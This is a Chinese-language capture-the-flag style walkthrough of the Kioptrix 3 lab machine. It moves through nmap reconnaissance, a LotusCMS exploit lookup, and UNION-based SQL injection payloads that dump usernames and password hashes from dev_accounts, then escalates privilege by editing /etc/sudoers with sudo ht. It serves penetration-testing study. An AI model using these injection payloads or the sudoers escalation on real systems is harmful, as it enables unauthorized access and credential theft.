声明!
文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!
一、靶机搭建
点击扫描虚拟机

选择靶机使在文件夹即可

二、信息收集
前言
信息收集阶段,因为这里是靶机,所以不需要做什么,但是实际渗透测试中,大家一定要学会正确的隐藏自己的个人信息
扫完ip后即可得到以下信息
kali:192.168.108.130
目标ip:192.168.108.137
扫ip
nmap -sn 192.168.108.0/24
排除已知的,这个则是靶机ip

扫端口和服务信息
nmap -p 1-65535 192.168.108.137
nmap -sV 192.168.108.137

可用信息
OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
指纹探测
nmap 192.168.108.137 -p 22,80 -sV -sC -O --version-all
得到以下信息

操作系统信息:
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
三、踩点或预探测
1.访问web服务
有以下页面

有登录框,可能存在漏洞,尝试弱口令无果

有个页面不可正常访问,可能是DNS缓存的问题,去设置一下
2. 设置域名解析
1. windows环境下
首先如果浏览器访问过该网站,需要找到浏览器缓存,这里我使用的火狐浏览器,点击管理数据

找到刚才的网站,删除缓存

在下面的目录下,选择host属性
C:\Windows\System32\drivers\etc
设置权限

设置之后在记事本编辑,设置如下,靶机ip 域名

然后刷新缓存即可

2. linu环境下设置
sudo vim /ets/hosts
输入以下保存即可
靶机ip kioptrix3.com
全部完成之后这个页面即可正常访问

3. 找出可利用点
sql注入
逐个点击之后发现此处存在id参数

尝试利用

测试id=2 ;id=1' ,发现报错,应该存在sql注入漏洞

LotusCMS漏洞
searchsploit LotusCMS
第一个需要利用msfconsle,这里我们用第二个

github上搜索

复制以下链接
https://github.com/Hood3dRob1n/LotusCMS-Exploit.git
执行
git clone https://github.com/Hood3dRob1n/LotusCMS-Exploit.git/
拉取成功


四、采取攻击措施
数据库爆破常用参数

爆列数
?id=1 order by 7--

爆行数
?id=2 union select 1,2,3,4,5,6--

爆数据库
?id=2 union select 1,database(),3,4,5,6--
得到数据库名: gallery
爆表
?id=2 union select 1,group_concat(table_name),3,4,5,6 from information_schema.columns where table_schema=database()--
结果

爆元素
?id=2 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database() and table_name='dev_accounts'--
逐个查询表中元素,在第一个表中看到以下信息

查看此内容
?id=2 union select 1,group_concat(username),group_concat(password),4,5,6 from dev_accounts--
加密的MD5值:
用户名:dreg,loneferret
密码:0d3eccfb887aabd50f243b3f155c0f8,5badcaf789d3d1d09794d8f021f40f0e

用户名:dreg,loneferret
密码:Mast3r,starwars
登录
有两中方法,一种利用shell,一种直接在靶机登录
登录成功

五、提权
靶机

试试另外一个账户,输入exit退出登录

可以看到有checksec.sh ,CompanyPolicy.README这两个文件
做到这一步就没有什么头绪了,换另一种方式也没用,这个时候需要删除虚拟机,重新导入
cat CompanyPolicy.README
sudo ht

重新导入后执行sudo ht 结果如下,按F3 搜索,并输入etc/sudoers

此处添加/bin/bash,按F10保存并退出

提权成功

kali执行shell连接

看到需要加密算法,这里我利用了gpt找到了解决办法,实际考试是不允许的,所以平时学习遇到的新一定要熟练掌握

利用代码:
ssh -o HostKeyAlgorithms=+ssh-rsa loneferret@192.168.108.137
成功登录

sudo ht
发现需要添加环境变量

添加环境变量
export TERM=xterm
再次执行 sudo ht,后面的步骤则和之前一样